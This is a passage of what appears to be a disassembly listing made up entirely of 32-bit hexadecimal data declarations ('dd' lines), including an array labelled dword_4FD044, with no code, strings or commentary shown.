		dd 0ED1AA716h, 0FAB624A6h, 0B58DAF17h, 0FEF8F2F0h, 303D13C2h
		dd 0EB9022D0h, 5B5A0470h, 0D321ED29h, 40D6A56Bh, 0AC6D3798h
		dd 0FB296905h, 805B850h, 54E10BE9h, 3D513FE8h, 9E121BECh
		dd 81E04CBEh, 0C12BD6Ch, 0AE840B84h, 565D0702h,	0C2535751h
		dd 2F1BD508h, 0B8012952h, 89B392C3h, 486059CEh,	69125E9h
		dd 673D8148h, 7C32D52Dh, 72A120F0h, 406E24D3h, 0DFA02795h
		dd 9D1F27EEh, 7D203890h, 29B5A0C8h, 0BFE3B11Ch,	210B5F73h
		dd 8934ACF2h, 32160D26h, 0A559DD09h, 13910408h,	0B4B6F001h
		dd 5D4E4116h, 6F036801h, 0BA1507EDh, 214A45E6h,	0C95D5Ah
		dd 14D5CE81h, 9562EB45h, 0A708AA04h, 47CC807Dh,	42170759h
		dd 34AB89E9h, 6082AFE8h, 0AC05008Dh, 0C2FB612h,	97047D2Dh
		dd 9F61FA5Fh, 7F116BE5h, 0B7F6031Ah, 5E0F5272h,	3BCC82E8h
		dd 0F9740E37h, 76314A07h, 9DF2F7C6h, 29729955h,	1828D165h
		dd 868978ADh, 7B85263Bh, 76695C3h, 82540620h, 0B4855EDh
		dd 0BA046852h, 5A21EC78h, 334D41A8h, 0A7893ACAh, 2D2CD4D6h
		dd 0C2C9253Dh, 8F767706h, 394FC5EFh, 653088h, 8157130Fh
		dd 48760DE5h, 59A0C4Ch,	0F749F359h, 836525FAh, 9F2FCD0Fh
		dd 0F925DFC5h, 5F0FBEDh, 0AD5F5E5Eh, 42B3C8F7h,	968BC86Ah
		dd 7C5AA9DCh, 972688FAh, 127AA06Ch, 0AE69B11Fh,	0C4ACC594h
		dd 0FEDBCFB0h, 0DC938F82h, 0F55A8DC1h, 31305117h, 7D4E1779h
		dd 0DE220319h, 0E9A88573h, 9EBD8DC2h, 3D3B09EBh, 61798807h
		dd 159CE9C1h, 3B16172Dh, 8916B263h, 5A027CF7h, 6FA29161h
		dd 0F3CD3731h, 723EF805h, 6FD86E14h, 8AE68E6h, 3723E905h
		dd 134D2EEAh, 0F04109E9h, 0CB674FBDh, 0CEF5FA80h, 0E968CC7Bh
		dd 50832AE7h, 7A10B151h, 5BB92C81h, 6EEC9F14h, 1B56241Fh
		dd 6C202CBAh, 318F3A12h, 7F027202h, 700AD7DDh, 60082097h
		dd 41D91E5Ah, 0E9243365h, 0B1A79496h, 0BEF4569Ch, 2E14B278h
		dd 0C0CB7E40h, 0DEFC5360h, 70083790h, 7313518h,	836972E6h
		dd 1C41CD29h, 141CA008h, 0EFDAE924h, 464E2D81h,	20E89164h
		dd 0DA29D62h, 185176ACh, 800BB501h, 1C88AAF5h, 661864B6h
		dd 98472AF0h, 25C27D57h, 3F482FB0h, 679F6BA8h, 124A245Ah
		dd 8F638261h, 57D28EFEh, 2830FD6Dh, 0A1B715B1h,	0D968CED1h
		dd 0E75D5C27h, 0CD7DA50Ah, 0A6E98A68h, 8EE0B1F9h, 8B723BF6h
		dd 0C69610D2h, 5EFDC482h, 5E3A0B60h, 0FA77E6FFh, 2F52B5BDh
		dd 347EC2EDh, 78FB5816h, 0A334E997h, 921A2AB3h,	0AD38A46Bh
		dd 66258DACh, 50BB2657h, 7ABBF423h, 0ED4BFC4Ah,	0CDB91F7Bh
		dd 6F1EE7C7h, 8EDD46F7h
		dd 0E4E6BDCAh, 58050C33h, 4A35A51Ch, 9EB9C180h,	16B8047Dh
		dd 89FC41E9h, 2999D111h, 0C0E202DEh, 407F4947h,	37C7009h
		dd 0D2F72542h, 0E8B47268h, 0ED97DFB0h, 0EC5099EFh, 0BA431C5h
		dd 0EABDA6C0h, 0BF71A45Ah, 8B390AFCh, 5D8D22D3h, 0C1DF2909h
		dd 0BBDB01F6h, 9DBAADFDh, 147B3866h, 0B7E84893h, 0C5AE8858h
		dd 0E85AEB2Dh, 0EC0F9530h, 0FD760DF2h, 3F6E8213h, 0C13AE9A5h
		dd 11A50AC2h, 4C1123F0h, 58158197h, 5B13E54Eh, 9204BC3Fh
		dd 0A1304AB1h, 193900A1h, 13E7811Dh, 0E4B3C7Bh,	0F45E4AACh
		dd 7F1E73D0h, 7EC95DC1h, 2DB727F1h, 0BB921EA4h,	3B0F6033h
		dd 8131B6FEh, 31F367C1h, 47FBF0FDh, 832C62BAh, 0F88398C3h
		dd 5D3F299h, 0A752705Eh, 132EEC65h, 0DDBFCB2Ah,	95AD41F8h
		dd 0AD1A89D3h, 5840F72Dh, 3461DD68h, 0FEF6B2F3h, 9D58AD4Ch
		dd 0A68A6FDCh, 0A00367C0h, 0D90DBE21h, 0FB04DFEDh, 8485E401h
		dd 67709335h, 1508042Fh, 0BAF0893Eh, 652C6FA8h,	17D19741h
		dd 4DC0AE27h, 91378C68h, 3C7ACEEh, 4FCD155Ah, 66EE6E05h
		dd 0DB024112h, 0DFE708ECh, 860C1F52h, 0C726031h, 1345129Ch
		dd 40B4BB78h, 6A7D0547h, 0BECA0991h, 2BF4ED8h, 54B81C25h
		dd 0C35DD7F7h, 48B4F0EFh, 0ED094F8Ch, 0AB267DC0h, 5D279BFDh
		dd 6AA61C45h, 0F16CC427h, 0D2485F9h, 425D60EEh,	32C634C1h
		dd 827F529Dh, 0AA515708h, 5540FA13h, 3D4678BBh,	4B8DF64Dh
		dd 9DE325h, 0DDC38006h,	39885266h, 0D39C53DAh, 5178AFF6h
		dd 97700820h, 92ABE1A2h, 0D0DA2902h, 0D765209Bh, 58E2881Ch
		dd 0E68714C9h, 14DE9FEBh, 0FD5AAEA4h, 0E909A667h, 0B8C52336h
		dd 6021B0B5h, 5FB0E35h,	682125A1h, 3B1E2869h, 3BAF185h
		dd 57710AF2h, 8ED1508Fh, 0D90A8A4h, 50C59FB6h, 99BF6EBh
		dd 7505E955h, 0CB5E1D04h, 0EEF37F80h, 7DFBEE75h, 0B2485968h
		dd 0C613B681h, 320E2011h, 2C863004h, 19F891E9h,	475B309h
		dd 0F88B802h, 0D84E19D7h, 0B763DBF4h, 77A88A74h, 0D0C3B209h
		dd 584B0B34h, 0B657982Fh, 67BD5EA8h, 11D6A5DEh,	3F31C5C4h
		dd 281D359Fh, 0B8317460h, 2597FED1h, 0B465FC2Bh, 7980B9EEh
		dd 950E9200h, 0A5E9D001h, 956E9AC4h, 5B3684F7h,	8BDDC2EEh
		dd 2F70C061h, 0AED3DC0Dh, 65020020h, 0C248E4C3h, 80010A63h
		dd 4A21A1E7h, 9F3240CAh, 8345816Bh, 6D9155BAh, 0A5EBE102h
		dd 0DC0E8C2Ah, 0F64CC262h, 108443D5h, 4A44F024h, 854C41BFh
		dd 3957AB6Eh, 7459050Eh, 81AF8EEEh, 2AE6301Bh, 137AE3DDh
		dd 896688FCh, 0BF0943B2h, 0F4664342h, 47D008Bh,	83E977AEh
		dd 44AE4A4Bh, 54080h, 3B2021BAh, 97897C98h, 0E94EB596h
		dd 9B5845FAh, 6250BF56h, 45083093h, 0BCF2AD7h, 3EAC176h
		dd 1313C05Fh, 4B6A253Ch, 6BCAA1FDh, 0C924421h, 0CE5AFBEBh
		dd 0DA445F0Ch, 0E6B42FF9h, 0A80D4BE9h, 0A4A1585Ah, 3101BF05h
		dd 7B4BA6BEh, 2CA4955h,	0C06A0688h, 0CEC1517Fh,	5A22804Bh
		dd 0CB858F64h, 0E8D55707h, 5F0304BFh, 0C7AF760Fh, 59FAD115h
		dd 0A6E13E69h, 0B1FAF82Eh, 21F56858h, 0A6F9F5C2h, 83EFE9C1h
		dd 56A774BCh, 5881ABDDh, 222D07B8h, 5174627Eh, 0C9B08C4Eh
		dd 877EF250h, 2FB6E984h, 964156FDh, 4A3AA83Fh, 0C50C16A0h
		dd 84C80987h, 2562C09Fh, 0D214398Ch, 24372D17h,	0CD0B0D51h
		dd 0B9070031h, 4F5FD508h, 3A52B9C5h, 0D52426C8h, 617984ADh
		dd 0A09756FBh, 701DC6D4h, 0EF81235Dh, 3501E327h, 29C1F040h
		dd 0AF734B67h, 16083710h, 81BB015Fh, 6B88A069h,	81DE9CD3h
		dd 0F5FD720Dh, 7D6AF71h, 387D095Ch, 0C00D388Fh,	3ECB81DFh
		dd 7776DC1Eh, 8096F350h, 5D87683Eh, 0B69160Ah, 0F92EDD89h
		dd 0DD8B271Fh, 646230B9h, 0D9BD33F5h, 0C2946274h, 952C9455h
		dd 5C14B959h, 8B2D9CECh, 45BF803h, 17621E44h, 0D3D98052h
		dd 653EC056h, 0E110DBE9h, 0DE3E2E84h, 0BE4F8A5h, 0A265D2Ah
		dd 8088DCAh, 0B09309EDh, 220933D2h, 5F4FE174h, 80D5C62h
		dd 1AEB2E1Ch, 0D0520C29h, 437B24C1h, 8D422990h,	0E0C10058h
		dd 74904004h, 0B77FA57Dh, 2F0C7390h, 0C36C826h,	0C1022E18h
		dd 8E20231h, 8B5787E9h,	0F52E2935h, 82A0066Dh, 491ECA09h
		dd 0A3040065h, 2D466C57h, 0CE8553E9h, 0BB768531h, 4111DBF0h
		dd 19C83AEEh, 17F490AAh, 12DFF723h, 0E9A8F05Bh,	6675682Fh
		dd 63CC20AFh, 2BA709Fh,	3F392678h, 0E802C829h, 680A8C05h
		dd 7ED96916h, 0E100BBDBh, 461008B8h, 3D30EDD1h,	8B84BD44h
		dd 31F8AB56h, 7C1FEE5Ah, 1CCA588Dh, 0C31DF77Ah,	0D79CE9h
		dd 7DF00D2Ah, 71353865h, 2C06507Ch, 7967D225h, 7E2B27D4h
		dd 19A076E4h, 0F01925F2h, 0BE604739h, 0A2183C30h, 5980C086h
		dd 9AFE5BDCh, 723322C6h, 6BEEB488h, 0D6209ED2h,	7A804810h
		dd 0EA8AF916h, 0E47D2B31h, 2D72907Ah, 700B0582h, 0E42C8B29h
		dd 324521BEh, 0F40B6A4Ah, 15CAAD4h, 0AC2E9201h,	813B294Ah
		dd 0FE13DD62h, 6850CCF1h, 8C324EE2h, 530244FFh,	0D7E96739h
		dd 40A4D4D4h, 0B422E80h, 0BF133E98h, 0C21C743Fh, 0DD802E28h
		dd 880B7CAAh, 0A4EAE916h, 65AE0168h, 0D3B0BCAEh, 518557C0h
		dd 0FFFE4AEEh, 0C80B3075h, 0E76A683Eh, 5F4414A9h, 7700D47Ch
		dd 0E92E470Ah, 0EACD11B4h, 0E482FA21h, 42D95927h, 813F2F7Fh
		dd 0F712B87Fh, 4E05128Eh, 3C146C39h, 6041C01Ah,	3A812C1Fh
		dd 0A3A43AE2h, 40C200EFh, 0E9E1CDF2h, 0F261152Ah, 0A520629Ah
		dd 685D1EBEh, 9186596h,	0BD602155h, 0FABFE990h,	27077570h
		dd 0CECCD739h, 0FC05CD27h, 60805858h, 0D302F582h, 5A097CA9h
		dd 30A70888h, 4300252Dh, 0E9D30D87h, 9375F705h,	4952FEC6h
		dd 71D05A57h, 0CF645069h, 0DBCB9F3Dh, 70C27B0h,	0A7EC034Fh
		dd 0A4EDC11Dh, 7115048Ch, 0F7FCC0DBh, 0FC2C116Fh, 777AC638h
		dd 37E888C0h, 66E9C00Ch, 0BC15DE5h, 347B100Dh, 84E62D5h
		dd 72EB2208h, 697B9769h, 84C11B6Ah, 0A23F080Ah,	0ACE90BF1h
		dd 0F0244422h, 327E5F3Fh, 58F70960h, 113B0BB5h,	5C85B04Eh
		dd 0BBE116E8h, 43F534D9h, 0D03A77FAh, 3E1223C0h, 3FBAB15Ch
		dd 0F87B05CEh, 9A824E46h, 2FE27A61h, 18A4C912h,	0BDE9C0E4h
		dd 0D095F129h, 28690427h, 0BEF73B26h, 2095060Fh, 0AE353AD5h
		dd 2CDC026Ah, 0D9E9C201h, 0AC79CB50h, 9226EA78h, 7549A8CEh
		dd 0CE4BBBC3h, 58C70AAEh, 0D183EDBh, 0E5F092B6h, 0BE05AC9Ah
		dd 494471A7h, 394CAEF8h, 0EC13A334h, 0F9852CA7h, 0F504838Bh
		dd 5509864Ch, 0E43EBCE9h, 76825BBh, 8AC2AFFEh, 84DE7953h
		dd 0FDFEF059h, 95FB9371h, 0D56DEA0Ch, 0B419F21Ch, 0C58431D9h
		dd 0B31334BFh, 29603B41h, 8E37F5F4h, 98D5282Fh,	1DB450E6h
		dd 81E4C07Eh, 0E97AB353h, 28E67A55h, 0D9E2F114h, 9B7FA681h
		dd 25C032B2h, 0B7F6780Bh, 0F725B36Dh, 0C1E95821h, 0B7252A08h
		dd 96F112EEh, 5CF2DAAEh, 583E6754h, 0FD252A9Ch,	0BD2ED495h
		dd 0EC56DC96h, 40452EB0h, 96FA5F9Dh, 290CDB64h,	427881AFh
		dd 0F3FC3F0Eh, 833258B2h, 310CC5Bh, 435AC579h, 82D96266h
		dd 422E04h, 552D61FAh, 5A5B1D50h, 550F0781h, 0B54A5430h
		dd 36D15E63h, 9532202Ah, 65B05300h, 78685755h, 439B1F03h
		dd 0EAAA97E9h, 832DF8C9h, 105FFE4Eh, 3834F812h,	0C3DAF2AFh
		dd 824CED80h, 30F6E1E8h, 1000A62Eh, 934FC8E5h, 0E42F5EBAh
		dd 68C60193h, 0A33E395Bh, 2B4B0B34h, 218DC0D4h,	2F85023Ch
		dd 0FED37CE9h, 32064489h
dword_4FD044	dd 45BA10BBh, 9A21C468h, 71AE003h, 230C0443h, 0F1F68FD2h
		dd 1C46ED8h, 3D0CB108h,	4F6FF8CAh, 0C94A76ADh, 3CFB2E1Fh
		dd 0F94AF647h, 0C8488BFh, 38BF6E4Bh, 0A7D75954h, 621CF5A4h
		dd 73BAF775h, 0DB28B25Fh, 5BBCA9Fh, 1453474h, 2C61ABF5h
		dd 7F72ED58h, 0D7AAB317h, 859FA2A2h, 56793977h,	8F8AA1F1h
		dd 0A468875Dh, 1934BEh,	0AA1D433Bh, 42504A63h, 385FB3D6h
		dd 5BD95CCBh, 3AEB2A5Ch, 0BB543530h, 0FB4B95EBh, 68C4D0E7h
		dd 0C36EE65h, 5EFD31DEh, 0DC934BA6h, 0FE4EC2E6h, 2AB4DDBFh
		dd 0A8D6BCB2h, 0B868820Fh, 0B52CA016h, 0AEA809Bh, 2E2CE9F6h
		dd 0AE5FBCABh, 1B012413h, 35D12159h, 22057F68h,	0BA4F7FACh
		dd 7F647212h, 932FA8AFh, 5227A1B8h, 0E916BE6Ch,	4B8CD8FBh
		dd 74597901h, 73D6BD63h, 10250C68h, 8ACA88CEh, 0A6FC517Dh
		dd 6F27372Bh, 0F33D4686h, 0BE8BD89Ch, 2D767301h, 0BBE772F2h
		dd 0F60E6B19h, 490DA48Bh, 43C79061h, 9DB1ACB2h,	57912AC4h
		dd 8E6B933Dh, 8A267E44h, 7E6B2875h, 83293546h, 445FCDCAh
		dd 7DA18FB8h, 8329544Eh, 2A25E2AFh, 0C5437C59h,	63FEBD3Ch
		dd 279ED11h, 0F03B0538h, 84D5B550h, 2FC44D17h, 0F7957D03h
		dd 0C1AF9FD0h, 419D8D03h, 0CE45A52Ah, 92145657h, 6A39A1DFh
		dd 0E1C9F2B1h, 1D88F420h, 1ED5F6DDh, 865901EBh,	0CBDA30D3h
		dd 0DB7A097Eh, 501892F1h, 0DD3D62A6h, 0BCC95540h, 0D9E525AEh
		dd 0F86E9B9Dh, 16BDD0C8h, 2F57CC88h, 443995C7h,	6A4C97F9h
		dd 0BEB3209Dh, 3FB2CDC8h, 0AB4BE801h, 29E96538h, 0E4DE8211h
		dd 80D0BB50h, 14B90CE2h, 6355812h, 2DD6B87Fh, 96DDA0B3h
		dd 168FDF98h, 7628EDC7h, 34B4EF5Bh, 35D2DE9h, 460A6EC8h
		dd 423E2FEDh, 2620904Ch, 192584Dh, 46B83A15h, 8420D501h
		dd 1BE924EEh, 2F5CA759h, 2410163Ch, 35B8D921h, 0B5685E00h
		dd 65D11554h, 0F5FEEB25h, 996029BCh, 7CF78159h,	12F4F1Ch
		dd 4C63924Eh, 89A46005h, 3688D2B4h, 0DD202D4Eh,	0BD0A2ECAh
		dd 8934647Eh, 84AF9332h, 0A13BA95Bh, 207CC068h,	9F868ECBh
		dd 0E60189FBh, 67C07647h, 0EC89EEC1h, 8359C505h, 1358D188h
		dd 4B0FF857h, 97FE93D5h, 45ADBEF5h, 13B27AB5h, 0B134710h
		dd 0D967AF68h, 42C2CD1h, 0AAD942E6h, 563D09A9h,	0D498B27h
		dd 5007C219h, 30345DB1h, 0D567508Bh, 92BD705Bh,	24420286h
		dd 8259EF2h, 0A57527A8h, 4EAAF68Eh, 3AE4D10Ch, 5AE7B32Ah
		dd 0AFA264FBh, 0EFE403FCh, 0E22FB97Dh, 9B2F10E8h, 0AEDDFE4Ah
		dd 0F028C1F9h, 5098B102h, 9FFEDB0h, 1B9106EAh, 96C2BDF5h
		dd 0F58EFB7Eh, 5521E6DDh, 13BC090Ch, 748B7198h,	0C1DDA38Bh
		dd 0F14D73F6h, 3FCAB06Eh, 0BBC03E54h, 0D616205Ch, 19C538FFh
		dd 476B6500h, 56A686BDh, 0A42B522h, 0DC89D0DEh,	0EFCED47Fh
		dd 3BF0C96Bh, 4C315A25h, 13E89FABh, 5F8ADF06h, 406CFEC5h
		dd 0D0CB05B1h, 82E1C0E9h, 0FE555486h, 79FF523Ch, 30E14D22h
		dd 7413E2Ch, 0C730E47Eh, 0F26DD709h, 0A0677E2Ah, 0BE560508h
		dd 0EF381155h, 598068C0h, 0E908176Bh, 0E1BAB185h, 0CA616B5Ah
		dd 0F7B581B2h, 8C9AAA98h, 9531FB44h, 7EFE15D8h,	0EF62B896h
		dd 89BB05BDh, 0A6B0E8A0h, 159C7B7h, 2683AB5h, 0B6E54C51h
		dd 0F2E96A13h, 0F1128257h, 73618ABEh, 2FABE55Eh, 35AE4AC1h
		dd 0B34ACCEh, 0F9794868h, 93E4A48h, 0D95C3E3Dh,	0FEF2B6CFh
		dd 9984BD4Fh, 0FC7E0CAEh, 6D68B012h, 3E32AB6Ah,	3C16587Dh
		dd 0C261F96Fh, 7DFEF8D8h, 9820A5CEh, 6AB1EAA3h,	21C020B5h
		dd 0F4B4B16Ah, 64CC3BCCh, 12638014h, 0FFD38283h, 835A9B04h
		dd 0E0479D3h, 0AD0E99Dh, 19D335ACh, 2AAD3295h, 0EE586DE3h
		dd 682F470Bh, 0A72002D0h, 0B529031h, 2B143F4Ah,	0DF510955h
		dd 86A7DDD3h, 20CE01CFh, 5C3EA2BBh, 2F9A0553h, 1FB7984h
		dd 0FA1E0293h, 1C77200Fh, 13B9B9C3h, 900DFB5Ch,	4C7C32E1h
		dd 0D2161687h, 68D53CA3h, 0DC782525h, 8F44CFE3h, 0E15F306h
		dd 69FF5A4Eh, 0F611575Bh, 7272B66h, 8102B4A4h, 28E1DFCDh
		dd 0C57307Dh, 0B706AD03h, 2E64DE9h, 0A05C323h, 0F3763C92h
		dd 66BF08A0h, 0E9560841h, 9434E530h, 9220F8AAh,	75EAFA02h
		dd 77B16AB1h, 30C44D88h, 66535262h, 4D09681Dh, 0C96DB231h
		dd 0F9D26C3Ch, 1F8512AFh, 1DEC7EDDh, 6DA097C3h,	2A7A4985h
		dd 0F140F9B0h, 647B09BFh, 8F8F7481h, 45915486h,	230DCB05h
		dd 218213AAh, 0D52DE27Ah, 0DA096368h, 24895B4Ch, 49025806h
		dd 7EFEA40Bh, 46DD2568h, 1CFB4094h, 0A9E0EC83h,	52F99651h
		dd 59EA4877h, 7346950Ch, 0BC5F304Eh, 0F4567E8Bh, 0F667014h
		dd 9580F4B8h, 4B9C2E51h, 0E615E98Ah, 9986FADh, 14F037E9h
		dd 599D307Bh, 0F717C9C9h, 8C0877A6h, 44FB20FFh,	0F1058186h
		dd 662FD1ACh, 7B25ABACh, 0DC55ACC2h, 0B3BE4387h, 5BA145Eh
		dd 0E25BDEF7h, 63407293h, 0A44F5DE9h, 8F58001h,	9F04E5C0h
		dd 42920606h, 835A4580h, 24F3BFC5h, 3FF88F44h, 139168E0h
		dd 6BAC9891h, 8BAA5B45h, 0C0421ADBh, 5F3A44B2h,	0BF43C408h
		dd 0B6B0F5B2h, 1ED9C066h, 3B554DDEh, 712F382h, 0E0F0655Eh
		dd 0BB05533Eh, 0F14224Eh, 9DA0C9C5h, 0D25E9D5Eh, 0B1ABC664h
		dd 9A1056Eh, 189E7D8Dh,	0C3564095h, 35B20934h, 416A898Ch
		dd 11BCE402h, 4705BBD2h, 311A3829h, 61FE23D5h, 3816E99Ah
		dd 2DAD3B92h, 90B0E328h, 905266C9h, 0E7C320CFh,	511ED0E0h
		dd 0CA8957B1h, 0C2EFA25Dh, 565309B2h, 0E130561Fh, 7549F781h
		dd 0F13C586Ch, 0E391B09h, 231F8682h, 0FC814D04h, 0F03F9866h
		dd 0DC272B63h, 20451CFEh, 0E5F66D4Ch, 7722F002h, 0E1EDC17Fh
		dd 13D77070h, 1D2F71Ch,	0D75109F0h, 8B092E6Ch, 5748F42h
		dd 0F985D329h, 2D6D388h, 0E126685Ah, 62DDE607h,	91D0D51Ch
		dd 0ED214897h, 952512EFh, 0A550BE35h, 69E91308h, 0D028A281h
		dd 3164E03Fh, 4B58DC92h, 6A2F0745h, 0E8C33956h,	0DAFAE5F5h
		dd 0CE220BE5h, 0D5DF1AFEh, 0E1206ADAh, 3F55582Dh, 0E8699702h
		dd 2445B1Fh, 89139C62h,	1C6C7DDDh, 74ABD15Eh, 0BCFCBFAEh
		dd 60510CD9h, 0AD80485Dh, 6D812468h, 0FA7DC9ABh, 0B9B33717h
		dd 6E4CA226h, 0E78701D9h, 80BB3878h, 0AD5532DDh, 8900BD3Dh
		dd 0CE203635h, 26054E05h, 0E509742Bh, 5705A0Ah,	46D0D2C5h
		dd 555B8079h, 5640F103h, 112614EEh, 700AF72Bh, 2E6BF09h
		dd 9E75B0C5h, 0F5126774h, 0D7F26809h, 0BE2D7384h, 0F0472FB1h
		dd 0F640ADECh, 0C4A5F11h, 155C02E7h, 38D70E13h,	7FC26709h
		dd 0CEFD1098h, 0FECF8980h, 0E5C6BA5h, 0B2E23F01h, 3CA2E9F1h
		dd 33F24BDCh, 531A04Bh,	30FF403h, 0BB352D0Ah, 0F1AAE51Ah
		dd 4E5AE0FCh, 8507437Ch, 8984D681h, 0D9F758E1h,	7B219A40h
		dd 0C0DE42Ah, 6AA96485h, 0E939053Ah, 286464DEh,	688A8882h
		dd 0BEEA4B32h, 9DE8250h, 57601E19h, 7A3B5F7Bh, 67F60272h
		dd 40AB9EAAh, 515D8661h, 92D8ACD2h, 62D8243Bh, 26084867h
		dd 70460298h, 0A1406C53h, 3AE82DC0h, 0D984C195h, 5960043Fh
		dd 0BC5CAA4Dh, 0B76241C3h, 0B580C13h, 0F62CEAB5h, 74B7709Ah
		dd 0BA5258DDh, 4EAE9884h, 0D350FDA4h, 40D7DCB0h, 6D0B2D1Dh
		dd 2637F57h, 0FD49374Ch, 3FC2A993h, 7640416Ah, 392C6068h
		dd 77A5DF05h, 1BEDB780h, 7348EB6Dh, 805630E9h, 0C33B7B4Eh
		dd 83E9D66Ah, 9AB900ECh, 5B4F123Eh, 0D9ADF049h,	0DEAC193Fh
		dd 126066A8h, 6BFE3FEDh
		dd 0A50980B8h, 70DE5BBFh, 55D2FE3h, 64FF8D77h, 0FC15FB3Ah
		dd 6268090Fh, 759A3234h, 0E90511FCh, 8CADB3D6h,	4059B410h
		dd 7125CEDh, 41EA4012h,	0BD388EC2h, 0DAA7404Bh,	0B09AF3Fh
		dd 0E8F9C4E9h, 812552C4h, 0FD33755Bh, 0E8B55478h, 0EF180575h
		dd 5BF3FD4h, 0E8574A02h, 411F9EF4h, 0BE343D0Fh,	62FF98D3h
		dd 89752F17h, 0C914D63Fh, 35487200h, 0E92D23B3h, 741E42D2h
		dd 25D95ACFh, 6675916Bh, 0C5B92F09h, 786722D2h,	0DC9D3C78h
		dd 0A32EC4BCh, 239D1750h, 48EDB629h, 5F88036Bh,	7DE84705h
		dd 0F028295Dh, 0D980072Dh, 9D192441h, 0DEF04262h, 4AA0EF04h
		dd 20674168h, 1A974528h, 5E25DF57h, 2F46F351h, 0AD22F459h
		dd 0F74BFA56h, 0AF2620C8h, 5954CCC2h, 57EC6056h, 22D6276Dh
		dd 18D0B203h, 0C027DC3h, 1DE72B87h, 0E1A28FC1h,	0B3E8B5F3h
		dd 84A7A692h, 5BBDB693h, 0EF812730h, 76E2F6F5h,	5C73F75h
		dd 1A48EC96h, 80D1C87h,	0FC14041Ch, 0F469B3ABh,	0A0805F09h
		dd 21C91CCDh, 0CF2F50F8h, 36047FEh, 7AF70375h, 6A233FF7h
		dd 68045CABh, 9EF63622h, 0A0BF3FC5h, 8F49E964h,	0DB654B5Eh
		dd 0E6C5FA05h, 0AEF476A5h, 17AE98BBh, 13215AD7h, 28BB0D6Bh
		dd 0FFC52A22h, 0FE142CBFh, 3329D74Bh, 293AB1EDh, 0FBE37A10h
		dd 0A0E9F90Ch, 0BC03045Fh, 0C058C388h, 0B5682CE3h, 0FA9509EEh
		dd 1FB49457h, 0CB555EF1h, 0A440554h, 0D6048B2Fh, 7B52D176h
		dd 9AADC3E0h, 27245048h, 6C9C96CEh, 492FE941h, 0AFA4C910h
		dd 0D4B6A68h, 6B0CB10Fh, 0EAA2C7BDh, 0C155F877h, 79482F26h
		dd 95F82B60h, 25680840h, 70183875h, 5480538Bh, 7E56BF5Dh
		dd 26DE8CEBh, 689BC5CCh, 3F29B1F0h, 0E9C2C1E7h,	0D4443FF0h
		dd 67E9AF97h, 0DBBCEE0Bh, 0BAF94044h, 8760AF7Eh, 7767C2CAh
		dd 91424B3Dh, 2150A1Dh,	0F7505F5Eh, 446D4A95h, 0E8382727h
		dd 4E2D274Ch, 85A27169h, 0AB30BAE9h, 7D201BC9h,	1A930AC9h
		dd 1EF63363h, 7E9C812Ah, 93CBDCE9h, 0F2AB5E96h,	0ABF4CBA3h
		dd 52285447h, 42FD5475h, 0A7F9AD1Bh, 0D17ACBCh,	97C64CADh
		dd 7D69E959h, 525845E4h, 0AE01025h, 0BAE2EC77h,	0E7B907F0h
		dd 0A516F05Fh, 2A09B104h, 0AD7F815Eh, 0C9E76858h, 0BD6F12E6h
		dd 0E6F3BB11h, 469CBB81h, 0EB1C81D1h, 28114798h, 0EDE9BB64h
		dd 62EBFEEEh, 530BAEECh, 0F30AC9C4h, 5AF0AD69h,	0D310BB5Eh
		dd 0FB4B742Bh, 2506A840h, 0F84B05ADh, 2F4A9CABh, 273EF47Ch
		dd 0B13055A2h, 6D096851h, 0FB05AA41h, 0D0A1E90Dh, 0D821744Dh
		dd 0ED6BF2E9h, 6FDEF650h, 88177065h, 1840D9BCh,	1F6209BAh
		dd 0A25F2B7Ah, 51F0D88Dh, 2FF83D12h, 72DCDB68h,	0EA0755C0h
		dd 5FD6C166h, 3877A441h, 0FB4CA2h, 848D5099h, 496BE5E9h
		dd 0E9B0EBFFh, 0DCB34719h, 57C2C089h, 0DADD3418h, 82F545C0h
		dd 306F785Fh, 0C810454Dh, 4C5CCB6Ah, 60C0306h, 0B401420Ah
		dd 81F54C4h, 1980F153h,	1517B7B9h, 0CF01FA31h, 0F7CE463Ch
		dd 80552D56h, 668939E7h, 3EAD29E9h, 0F2502751h,	5571F897h
		dd 917AFEE1h, 3E663D0Ah, 0FA931CE3h, 0C96E0B61h, 4427D13Eh
		dd 40560269h, 0B5C51AE1h, 315F0FA9h, 4C6CDDADh,	0D1F7660Eh
		dd 5AC26862h, 0F8C7D27Fh, 438F32B9h, 0A790CB12h, 288103B5h
		dd 0DEF0833Eh, 8421C399h, 72E9640Ch, 0E15BA4ACh, 0FA60A076h
		dd 7C1C14Bh, 6F78100Dh,	0FF09AE5Ah, 200F5829h, 86A0D5EEh
		dd 72C3315h, 71081E2Ch,	0A7772DB0h, 0C4328592h,	0FBEB40B9h
		dd 8BDE9C90h, 22DE2FB8h, 9A2B9450h, 0ED15B61h, 0CE895972h
		dd 70653500h, 59829AEAh, 0F52140B7h, 8095F7E9h,	75A7BF77h
		dd 0C10617FCh, 986A09E7h, 80ACC4A5h, 0EDC06383h, 0E580030Fh
		dd 6ADEE4AEh, 8712E9EDh, 0E039EA48h, 0EAF928A2h, 701BC03Eh
		dd 551491F5h, 52455300h, 642E3233h, 41C0E36Ch, 23567344h
		dd 4E8F4950h, 354CCE54h, 0E001430Ah, 0C0094FE9h, 0A1BE680Ah
		dd 89F40612h, 0FDFDDF2Eh, 15A2500Ch, 8C22847Fh,	117542A3h
		dd 6B21A4ABh, 90A50808h, 0A61C8461h, 96445748h,	0E02E4D22h
		dd 1AA11D60h, 7F3B0172h, 0A41851F8h, 7935E015h,	0F4E0207h
		dd 23C0AD9Bh, 0F0864281h, 7435C05Eh, 4DF68539h,	0D7A980h
		dd 0DEDD6ED4h, 0A329866Bh, 3CBD150Eh, 0C102A09Dh, 7551D5h
		dd 2033B05Bh, 57D367FCh, 0EB68500h, 192142CEh, 584A030Ch
		dd 0CFAC887Ch, 303F2C80h, 0D1273603h, 0A0BA8FD3h, 0DD044Ch
		dd 2AE158B2h, 6E85D8F5h, 98936D00h, 47E910C7h, 0F03005Fh
		dd 792D13A2h, 0CE00523Eh, 0E331D8F2h, 0E7DF8DDh, 0CBB5C7A3h
		dd 0CD4CF640h, 0A8007E38h, 7B24AFCCh, 39246h, 0B2C2275Ch
		dd 9CA011A6h, 0C11F8812h, 740730FCh, 0B01B8FD2h, 0AA31ADE4h
		dd 0ECA030Fh, 33A70387h, 0DC180A4h, 71E3001Fh, 4DCC80BFh
		dd 0DF005B9Ch, 0C377B258h, 5568B34h, 1615E7E2h,	489E4EACh
		dd 4D7E140h, 74002061h,	5B77B055h, 30EB57Eh, 41D82DD9h
		dd 29B84DFFh, 1A075539h, 132F0D35h, 0F11B5270h,	0AB6700FAh
